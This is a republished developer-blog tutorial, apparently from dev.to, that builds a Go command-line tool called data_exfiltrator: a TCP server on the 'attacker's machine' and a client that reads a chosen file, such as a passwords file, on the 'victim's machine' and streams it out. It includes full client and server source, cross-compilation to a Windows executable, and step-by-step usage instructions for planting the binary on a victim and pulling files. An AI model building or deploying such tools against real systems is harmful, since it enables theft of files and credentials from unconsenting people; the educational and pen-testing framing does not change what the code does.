Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
January 23, 2022 06:07 pm GMT

Hack and Exfiltrate text files using GoLang

This article will help you to write a Golang program which will transfer files from the remote machine (victim's machine) to your local environment(attacker's machine).

This article is mainly for education purposes and can be used for small pen-testing scenarios as well ( I have used it and it really works). We can use tools like scp and nc as well to transfer file data but we here get a chance to do the same natively using Golang.

Plan of Action

  1. Setting up your workspace
  2. Create a TCP server which opens a TCP port for data transfer.
  3. Transfer data using netcat to check connectivity.
  4. Concurrently listen to the data being sent.
  5. Create a client that sends data to the server.
  6. Modify the client to read a file and send data to the server.
  7. Create a CLI app using cobra to combine client and server in a single application and use arguments to accept file names, hostname or IP address and port to connect.
  8. Make it Windows and Linux suitable. (For you to hack some readable windows file)

Let's begin

Setting up your workspace

First we create a folder called data_exfiltrator in which our application will reside. Inside this we will create a folder called server which will contain a file called server.go.

data_exfiltrator server     server.go

TCP server

Now we will create a simple TCP server. For this we are using 127.0.0.1 (localhost) and port 8080 to bind the server

package mainimport "fmt"// constant used for connectionsconst (    connHost = "127.0.0.1"    connPort = "8080"    connType = "tcp")func main() {    fmt.Printf("Starting %s server on %s:%s
", connType, connHost, connPort)}

Now we will open a socket so that we can use it as a server. For this we will try the net package, natively provided to us, by Golang which is used for providing portable interface for network connections. net package is easy to start with.

When we run net.Listen() we wish to listen on the network and when we run net.Dial() we wish to dial the connection to some other program on a network.

For server to server we use net.Listen()
for client to send data we use net.Dial().

Right now to create a TCP server we will use net.Listen(). Now the code will look like

package mainimport (    "fmt"    "net")const (    connHost = "127.0.0.1"    connPort = "8080"    connType = "tcp")func main() {    fmt.Printf("Starting %s server on %s:%s
", connType, connHost, connPort) // starting a server conn, err := net.Listen(connType, connHost+":"+connPort) if err != nil { fmt.Println("Connection error", connHost+":"+connPort) panic(err.Error()) } defer conn.Close() // to continuously listen to connections fmt.Println("Listening ...") for { client, err := conn.Accept() if err != nil { panic(err.Error()) } // To print the client address and port fmt.Println("Client", client.RemoteAddr().String(), "connected") // code here for accepting the traffic }}

We start the server with conn, err := net.Listen(connType, connHost+":"+connPort) and use defer as best practice to safely close the connection.
We run an infinite loop to listen to connections and use

client, err := conn.Accept()

to accept the connections. After this we will code what we need to do with the client once a connection is accepted.

func main() {    fmt.Printf("Starting %s server on %s:%s
", connType, connHost, connPort) // starting a server conn, err := net.Listen(connType, connHost+":"+connPort) if err != nil { fmt.Println("Connection error", connHost+":"+connPort) panic(err.Error()) } defer conn.Close() // to continuously listen to connections fmt.Println("Listening ...") for { client, err := conn.Accept() if err != nil { panic(err.Error()) } // To print the client address and port fmt.Println("Client", client.RemoteAddr().String(), "connected") // code here for accepting the traffic buffer, err := bufio.NewReader(client).ReadBytes('
') if err != nil { fmt.Println("Client left") client.Close() return } fmt.Println("Client message:", string(buffer[:])) // We close the client just after receiveing one message client.Close() }}

We create a Reader using bufio package. This will create a reader for us which will read bytes and delimit them at
. The message from the client is stored in the buffer variable as bytes which we convert to string using string(buffer[:]).
To run and test this, open two terminals -

# First terminal$ go run server/server.go                                                                                                         Starting tcp server on 127.0.0.1:8080Listening ...

On the second terminal

$ nc localhost 8080

and we will explain rest in the next section

Using nc or netcat to transfer the data

Once you run nc command you will observe that our print statement is able to print out the connection details in the first terminal.

$ go run server/server.go                                                                                                         Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:40346 connected

Now in the second terminal we can just send the data by typing it

$ nc localhost 8080hello

When we press enter after typing hello we can see the same appears over on the terminal one.

$ go run server/server.go                                                                                                         Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:40984 connectedClient message: hello

You will see that your connection on the terminal gets immediately closed because we are running client.Close() in the last line of the code. To make it more interactive we will now convert this code to accept connections and handle the connection on some go routines.

Creating goroutine to handle client connections

Every connection to the server will be handled in a goroutine. Its very simple to implement and we will create a special function to do that. The name of the function is handleConnection() and this function will take the client connection as the parameter and perform the given tasks.

func main() {    fmt.Printf("Starting %s server on %s:%s
", connType, connHost, connPort) // starting a server conn, err := net.Listen(connType, connHost+":"+connPort) if err != nil { fmt.Println("Connection error", connHost+":"+connPort) panic(err.Error()) } defer conn.Close() // to continuously listen to connections fmt.Println("Listening ...") for { client, err := conn.Accept() if err != nil { panic(err.Error()) } // To print the client address and port fmt.Println("Client", client.RemoteAddr().String(), "connected") // code here for accepting the traffic go handleConnection(client) }}// Function to handle go routine after accepting clientfunc handleConnection(client net.Conn) { for { buffer, err := bufio.NewReader(client).ReadBytes('
') if err != nil { fmt.Println("Client left") client.Close() return } fmt.Print("Client message:", string(buffer[:])) }}

The Client Left statement is executed in the handleConnection() function when bufio reader is not able to read the incoming bytes and this will happen when the client has closed the connection from its side. Now the server will not close the connection immediately as the goroutine is running an infinite loop to receive messages continuously from the client. It will be the client's responsibility to close the connection now.
Terminal 1 - Running the server

$ go run server/server.go                                                                                                         Starting tcp server on 127.0.0.1:8080Listening ...

Terminal 2 - Running the nc client

$ nc localhost 8080

Now we will continuously send the messages from nc and we can see the same getting reflected in the terminal 1
Terminal 2 - nc (Type your message and press enter to send the message)

$ nc localhost 8080hellohowareyou

Terminal 1 - Your server

$ go run server/server.go                                                                                                    Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:55404 connectedClient message:helloClient message:howClient message:areClient message:you

When we terminate the nc command using Ctrl+C then we get a message on server that client has left.

$ go run server/server.go                                                                                                    Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:55404 connectedClient message:helloClient message:howClient message:areClient message:youClient left

Now you don't need to restart server for another connection. Just simply create a nc client and start sending the messages again.

$ go run server/server.go                                                                                                    Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:55404 connectedClient message:helloClient message:howClient message:areClient message:youClient leftClient 127.0.0.1:55832 connectedClient message:hello how are you

Here we see the client will get connected again through some different source port.

Create a client that sends data to the server

Now we will remove the need of nc and create our own client to achieve the same.
For this create a directory called client and create a file inside it called client.go

package mainimport (    "bufio"    "fmt"    "os")// there are server details to which client will connectconst (    connHost = "127.0.0.1"    connPort = "8080"    connType = "tcp")func main() {    reader := bufio.NewReader(os.Stdin)    for {        fmt.Print("Enter text: ")        text, _ := reader.ReadString('
') fmt.Printf("Your text is %s", text) }}

We have server details that we will use soon to connect our client to the server. Right now we have created a reader that takes input from the os.Stdin (your terminal) and prints them out in a continuous loop. You can run this program via go run client/client.go to test if it works for you.
Now we will modify the main function to send text to our server and we already discussed to use net.Dial() for this. So our main function will become

package mainimport (    "bufio"    "fmt"    "net"    "os")// there are server details to which client will connectconst (    connHost = "127.0.0.1"    connPort = "8080"    connType = "tcp")func main() {    // connecting to the server    conn, err := net.Dial(connType, connHost+":"+connPort)    if err != nil {        fmt.Println("Not able to connect to ", connHost, "at port", connPort)        panic(err.Error())    }    defer conn.Close()    // creating a reader    reader := bufio.NewReader(os.Stdin)    for {        fmt.Print("Enter text: ")        text, _ := reader.ReadString('
') // Convert the text to bytes and then write the bytes for it send to the connection. conn.Write([]byte(text)) }}

We create a block to connect to server and create a reader for reading input from stdin and then send it by using conn.Write() function.
To run this we will first run a server in terminal 1 and client in terminal 2.
Terminal - 1

$ go run server/server.go Starting tcp server on 127.0.0.1:8080Listening ...

Terminal - 2

$ go run client/client.go                                                                                                         Enter text:

Enter to send text
Terminal - 2 (client)

$ go run client/client.go                                                                                                         Enter text: helloEnter text: howEnter text: areEnter text: you

Terminal - 1 (server)

$ go run server/server.go Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:58480 connectedClient message:helloClient message:howClient message:areClient message:you

Modify the client to read the file

Our main purpose is to exfiltrate text file form the victim's machine to the remote machine, so logically our client should read input from text files rather then os.Stdin.
For this we will create a text file sample_input.txt

password1password2password3password4

Our directory structure looks like this

$ tree .. client  client.go  sample_input.txt server     server.go

Now our client.go will be modified to read data from file sample_input.txt

package mainimport (    "bufio"    "fmt"    "net"    "os")// there are server details to which client will connect// we add here the file name to exfiltrateconst (    connHost = "127.0.0.1"    connPort = "8080"    connType = "tcp"    fileName = "client/sample_input.txt")func main() {    // connecting to the server    conn, err := net.Dial(connType, connHost+":"+connPort)    if err != nil {        fmt.Println("Not able to connect to ", connHost, "at port", connPort)        panic(err.Error())    }    defer conn.Close()    // Open the file here    file, err := os.Open(fileName)    defer file.Close()    if err != nil {        fmt.Println("Not able to read file", fileName)        panic(err.Error())    }    // Create a scanner to read the open file    scanner := bufio.NewScanner(file)    for scanner.Scan() {        // We add 
because scanner.Text() removes the ending newline character conn.Write([]byte(scanner.Text() + "
")) } fmt.Println("File transferred successfully")}

We add the const for file location fileName. To open a file for reading we use the os library and for reading the text from a file we use the bufio scanner.
The problem with the Scanner is that it removes the newline after reading text from the file. That's why we need to add the newline at the end of the text that we are sending to the connection in conn.Write() statement. Let's test this !
Terminal -1 run your server normally as there are no changes

$ go run server/server.go                                                                     Starting tcp server on 127.0.0.1:8080Listening ...

Running your client.go file to send the data

$ go run client/client.goFile transferred successfully

If we see the output in the terminal 1, we will be surprised

$ go run server/server.go                                                                     Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:34706 connectedClient message:password1Client left

We see that only the first line is being transferred to the server. But why? What happens to the remaining one ?

The problem is because of the speed with which client is sending the data and the speed with which the server is ready to accept it. As the communication is asynchronous the client is never sure that the server has read the previous message. To make client run a bit slow we will add time.Sleep() for client to sleep for 5 milliseconds.
This is to be done in the scanner.Scan() loop

<...>    scanner := bufio.NewScanner(file)    for scanner.Scan() {        // We add 
because scanner.Text() removes the ending newline character conn.Write([]byte(scanner.Text() + "
")) // sleeping for 5 milliseconds time.Sleep(5 * time.Millisecond) }<...>

Now running the client.go in terminal 2

$ go run client/client.goFile transferred successfully

and server in terminal 1

$ go run server/server.go                                                                     Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:35510 connectedClient message:password1Client message:password2Client message:password3Client message:password4Client left

We are now able to see all the contents of the file. if this still is not giving you correct answer then try increasing the sleep time to 10, 20 or maybe even 50 milliseconds. But isn't this approach still asynchronous. The client is still unaware of whether the data has been read by the server or not.

To make this a complete synchronized process we will ask the server to response a yes or maybe anything as small as one character to declare that it has read the message and simultaneously ask the client to read (and send ) the next line only after receiving this confirmation.

So to do this will modify the server.go to write a response in the handleConnection function

func handleConnection(client net.Conn) {    for {        buffer, err := bufio.NewReader(client).ReadBytes('
') if err != nil { fmt.Println("Client left") client.Close() return } fmt.Print("Client message:", string(buffer[:])) // send this as a response to the client client.Write([]byte("Y")) }}

and in the client.go to read the response we will modify the for loop of scanner.Scan

    scanner := bufio.NewScanner(file)    for scanner.Scan() {        // We add 
because scanner.Text() removes the ending newline character conn.Write([]byte(scanner.Text() + "
")) // declare a byte variable var b = make([]byte, 2, 3) // read the response here conn.Read(b) }

We declare a variable and read the response in that variable. Once this is done we will begin reading next line.

Running this from terminal - 2 for client

$ go run client/client.goFile transferred successfully

From terminal - 1 for server

$ go run server/server.go                                                                     Starting tcp server on 127.0.0.1:8080Listening ...Client 127.0.0.1:36584 connectedClient message:password1Client message:password2Client message:password3Client message:password4Client left

Now our entire process is synchronous.

Now if you want you can stop here and modify the host and port to make it workable for your needs. Launch the server in your local and run the client program on the victim machine. Obviously there are high chances that you might not be able to run the go program in the victim machine directly using the go command so you need to convert it into an executable. For this you can run the following command -

$ cd client$ go build client.go

This will create a binary that you can distribute to the victim and transfer the text files from there.

If you want to transform the entire thing into a complete tool then follow along to see how we convert server and client to a single application and use arguments for host, port and file paths.

Using cobra for CLI modifications.

Before diving into this our purpose in this sub-section is to create a tool which run server like this

./data_exfiltrator server --host 192.168.56.1 --port 8080 -o output.txt

and for the client to exfiltrate password.txt

./data_exfiltrator client --host 192.168.56.1 --port 8080 -f password.txt

For this we will use cobra which is used by lot of open-source projects like kubernetes.

For getting started this is our current folder

$ pwd~/data_exfiltrator

and the directory structure is

$ tree .. client  client.go  sample_input.txt server     server.go

First we need to create a module which we can done by running

$ go mod init example.com/data_exfiltratorgo: creating new go.mod: module example.com/data_exfiltratorgo: to add module requirements and sums:    go mod tidy# It will create a go.mod file                                                                                                                                        $ ls -lrt           total 12drwxr-xr-x 2 kai kai 4096 Jan 21 23:51 serverdrwxr-xr-x 2 kai kai 4096 Jan 23 21:29 client-rw-r--r-- 1 kai kai   45 Jan 23 21:31 go.mod

To install cobra we need to install its module. Preferably run this from ~/data_exfiltrator directory.

$ go get -u github.com/spf13/cobra

This will install the module dependency in the go.mod file and go.sum file for checksums

Now we need to set out our PATH variable to take binaries inside the path GOBIN as well . To get the GOBIN

$ go env  | grep GOBIN                                                                                                          

If the GOBIN is empty for you search for GOPATH/bin and add this to your path variable.
To check this run

$ cobra help

If this runs successfully then cobra is rightly installed.

Now we will use cobra to initialize our client APP. The command to do that is

$ cobra init

This will initialize your application and you will see lot of files created.

$ tree .. client  client.go  sample_input.txt cmd  root.go go.mod go.sum LICENSE main.go server     server.go

Firstly, cobra creates main.go from where our application will begin. Secondly, it creates cmd file which contains root.go. This is the file which will be executed from main.go and will contain what we need to do when we run main.go.

We wish to add sub-commands like client and server as described earlier. For this we can run

$ cobra add client$ cobra add server

This will modify the cmd directory to add two more files named client.go and server.go.

$ tree .. client  client.go  sample_input.txt cmd  client.go  root.go  server.go go.mod go.sum LICENSE main.go server     server.go

Our server and client files reside in server/server.go and client/client.go which are different from the server.go and client.go created by cobra in cmd directory.

When we will run go run main.go client then the cmd/client.go will be invoked and when we will execute go run main.go server then the cmd/server.go will be invoked.

Right now if we observe our client/client.go and server/server.go are part of main package. We can't use main as package for them because we don't want to create separate binaries for them, so we will convert client/client.go to become package client and for server/server.go we will use package name server. To do this just simply change their package names from main to client or server accordingly.

Now as we are running these file separately so we will remove the main function and create different functions for them.
For client/client.go

package clientimport (    "bufio"    "fmt"    "net"    "os")const connType = "tcp"func checkFile(file string) error {    _, err := os.Stat(file)    return err    // check file permissions as well}func ExfiltrateFile(fileName, connHost, connPort string) error {    // stat file    if checkFile(fileName) != nil {        return fmt.Errorf("FileNotFound: Not able to find the file %s", fileName)    }    // check connection    fmt.Printf("Connecting %s:%s over %s
", connHost, connPort, connType) conn, err := net.Dial(connType, connHost+":"+connPort) if err != nil { fmt.Println(err.Error()) return fmt.Errorf("HostNotReachable: Not able to connect %s:%s", connHost, connPort) } defer conn.Close() //transfer file file, err := os.Open(fileName) if err != nil { return fmt.Errorf("FilePermission: Not able to read file %s", fileName) } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { var b = make([]byte, 2, 3) // We add
because scanner.Text() removes the ending newline character conn.Write([]byte(scanner.Text() + "
")) // Wait for the server message to indicate that the line is written conn.Read(b) } return nil}

As we notice in the above file we don't have main function, rather we are using ExfiltrateFile as the function which takes fileName , connHost and connPort as arguments.

Now try to understand what we are doing here. We will pass option from the shell to accept file names, host and port. They will be passed in the root.go. root.go will determine what subcommand we are using, client or server by the command we have typed. Suppose if we are running client sub-command then cmd/client.go will be invoked with the appropriate flags (file names, host and port passed from shell). Once cmd/client.go get these flags, it will call ExfiltrateFile() function from client/client.go and pass these flags as arguments. The ExfiltrateFile() function will run the the client logic we built earlier.

This also goes for server/server.go

package serverimport (    "bufio"    "fmt"    "net"    "os")const (    connType = "tcp")func Serve(fileName, connHost, connPort string) error {    fmt.Printf("Starting %s server on %s:%s
", connType, connHost, connPort) conn, err := net.Listen(connType, connHost+":"+connPort) if err != nil { return fmt.Errorf("ConnectionError: Not able to connect %s", connHost+":"+connPort) } defer conn.Close() // running the loop for listening all the connections fmt.Println("Listening ... ") for { // Start accepting the connections client, err := conn.Accept() if err != nil { panic(err.Error()) } fmt.Println("Client", client.RemoteAddr().String(), "connected") go handleClientConnection(client, fileName) fmt.Println("You can press Ctrl+c to terminate the program") }}func handleClientConnection(conn net.Conn, fileName string) { // handling buffer writes // it take the connection and then creates the buffer file, err := os.Create(fileName) if err != nil { panic(err) } defer close(file) for { buffer, err := bufio.NewReader(conn).ReadBytes('
') if err != nil { fmt.Println("Client left") conn.Close() return } file.WriteString(string(buffer[:])) // Sending a reply back to client for synchronous connection conn.Write([]byte("Y
")) }}func close(file *os.File) { fmt.Println("Closing the file") fmt.Println() fmt.Println("Listening ... (press Ctrl+c to terminate)") file.Close()}

Here we use the Serve function to start a TCP server by accepting file name, host and port as parameters

If we carefully observe the handleConnection function then we are now outputting everything to a file and not to the console. This file name is received from the --output or -o option in the cmd/server.go file.

Now our client and server logic is ready to be used. We just need to modify the cmd/client.go and cmd/server.go to pass the flags to the client and server accordingly.
So the cmd/client.go is

package cmdimport (    "log"    "github.com/dunefro/data_exfiltrator/client"    "github.com/spf13/cobra")// clientCmd represents the client commandvar clientCmd = &cobra.Command{    Use:   "client",    Short: "to run the client",    Long:  `Running the client for data exfiltrator`,    Run: func(cmd *cobra.Command, args []string) {        fileName, _ := cmd.Flags().GetString("file")        host, _ := cmd.Flags().GetString("host")        port, _ := cmd.Flags().GetString("port")        err := client.ExfiltrateFile(fileName, host, port)        if err != nil {            log.Println("Failed to transfer the file")            log.Fatal(err.Error())        } else {            log.Println("Successful: File was transferred")        }    },}func init() {    rootCmd.AddCommand(clientCmd)    // defining flags for client    clientCmd.PersistentFlags().StringP("file", "f", "", "file(text) name which you want to transfer (required)")    clientCmd.MarkPersistentFlagRequired("file")    clientCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")    clientCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")}

In the init() function we have flags that are available with the client sub-command. These are file, host and port which can be invoked with -- for shell arguments. We have only marked one of the options as mandatory with client sub-command i.e. file. Logically the client must pass some file to exfiltrate. If host and port are not specified then we will use default value 127.0.0.1 and 8080. This is mentioned in the 3rd argument of each flag. We can use the small option p for port as -p.

Once this is initialized the function in the Run will be executed and we can get all the values passed for each argument in the command invoked by using cmd.Flags(). So

fileName, _ := cmd.Flags().GetString("file")host, _ := cmd.Flags().GetString("host")port, _ := cmd.Flags().GetString("port")

This gives the value of fileName, host and port passed in the command. Once we have them we invoke the ExfiltrateFile() function from the client/client.go which we have imported in the cmd/client.go by

"example.com/data_exfiltrator/client"

and so now to call the exfiltrate function

client.ExfiltrateFile(fileName, host, port)

This happens for server.go as well

package cmdimport (    "fmt"    "example.com/data_exfiltrator/server"    "github.com/spf13/cobra")// serverCmd represents the server commandvar serverCmd = &cobra.Command{    Use:   "server",    Short: "creating server",    Long:  `This will create a server at a specified port for connection and output to directed file`,    Run: func(cmd *cobra.Command, args []string) {        fileName, _ := cmd.Flags().GetString("output")        host, _ := cmd.Flags().GetString("host")        port, _ := cmd.Flags().GetString("port")        err := server.Serve(fileName, host, port)        if err != nil {            fmt.Println(err.Error())        }    },}func init() {    rootCmd.AddCommand(serverCmd)    // defining flags    serverCmd.PersistentFlags().StringP("output", "o", "", "output(text file) to transfer the data (required)")    serverCmd.MarkPersistentFlagRequired("output")    serverCmd.PersistentFlags().StringP("host", "", "127.0.0.1", "host that you wish to connect")    serverCmd.PersistentFlags().StringP("port", "p", "8080", "port that you wish to connect")}

For the serve sub-command we are using output as the option for outputting what we receive from the client. This is a compulsory option and must be passed when invoking server sub-command. We have host and port similar to client sub-command. We call the server function by -

server.Serve(fileName, host, port)

and pass the output file, host and port.

Finally the root.go will be

package cmdimport (    "os"    "github.com/spf13/cobra")// rootCmd represents the base command when called without any subcommandsvar rootCmd = &cobra.Command{    Use:   "data_exfiltrator [command]",    Short: "Exfiltrate your files from one location to another",    Long:  `Application to build data exfiltrator`,    // Uncomment the following line if your bare application    // has an action associated with it:    // Run: func(cmd *cobra.Command, args []string) { },}// Execute adds all child commands to the root command and sets flags appropriately.// This is called by main.main(). It only needs to happen once to the rootCmd.func Execute() {    err := rootCmd.Execute()    if err != nil {        os.Exit(1)    }}func init() {    // Here you will define your flags and configuration settings.    // Cobra supports persistent flags, which, if defined here,    // will be global for your application.    // rootCmd.PersistentFlags().StringVar(&cfgFile, "config", "", "config file (default is $HOME/.data_exfiltrator.yaml)")    // Cobra also supports local flags, which will only run    // when this action is called directly.    // rootCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")    // Add version here}

For root.go we have disabled the Run flag to hold any function. This is because we don't want to do anything until a sub-command like client or server is passed to it.

So now we will build everything and test. To build

$ go build

This will create a binary called data_exfiltrator. Run this binary simply by

$ ./data_exfiltrator                                               Application to build data exfiltratorUsage:  data_exfiltrator [command]Available Commands:  client      to run the client  completion  Generate the autocompletion script for the specified shell  help        Help about any command  server      creating serverFlags:  -h, --help   help for data_exfiltratorUse "data_exfiltrator [command] --help" for more information about a command.

We will try to run a server

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080Starting tcp server on 192.168.56.178:8080Listening ...

Now we will try to run the client

$ ./data_exfiltrator clientError: required flag(s) "file" not setUsage:  data_exfiltrator client [flags]Flags:  -f, --file string   file(text) name which you want to transfer (required)  -h, --help          help for client      --host string   host that you wish to connect (default "127.0.0.1")  -p, --port string   port that you wish to connect (default "8080")

This will fail because as we have mentioned we need to pass the option --file for this, so

$ ./data_exfiltrator client -f client/sample_input.txt --host 192.168.56.178 --port 8080Connecting 192.168.56.178:8080 over tcp2022/01/23 22:43:27 Successful: File was transferred

The terminal 1 where server ran is now showing

$ ./data_exfiltrator server -o something.txt  --host 192.168.56.178 --port 8080Starting tcp server on 192.168.56.178:8080Listening ... Client 192.168.56.178:34154 connectedYou can press Ctrl+c to terminate the programClient leftClosing the fileListening ... (press Ctrl+c to terminate)

Press Ctrl+C to check the file something.txt

$ cat something.txt         password1password2password3password4

The file is exfiltrated.

Making it Windows and Linux suitable

During exfiltration my main issue was that I was not able to run some program on windows which I was easily able to run on Linux. As Golang provides us with this ability I built the same binary for windows as well.

Let's check how to do that -
To make the file windows specific

$ GOOS=windows GOARCH=amd64 go build .

This will create a file called data_exfiltrator.exe which you can now run on windows.

Generally the scenario is to hack files from windows and hackers have Linux as their own host. That's why having data_exfiltrator.exe and data_exfiltrator will be very helpful because we can now mix and match the use cases to a wide range.

How to use the above file

  1. Once you have built the binary, go over to the victim machine, and keep this binary over there. if it's windows then copy the windows binary for the same.
  2. On your local machine run the server by ./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort> command. If you local is also windows then run ./data_exilftrator.exe server with similar flags.
  3. Now on the victim side run ./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>
  4. You will get the <filetohack> file in your local with the name <outputfile>.

Conclusion

The above program if read in a single take might become a nightmare to perform that's why I made it a point to distribute it in lot of small chunks. The main takeaway is to understand the logic of socket programming and how to create a CLI application in Golang.
To get the complete source code you can refer to GITHUB. Let me know what do you think about this.

References

  1. https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/
  2. https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43
  3. https://github.com/spf13/cobra

Original Link: https://dev.to/dunefro/hack-and-exfiltrate-text-files-using-golang-14gg

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To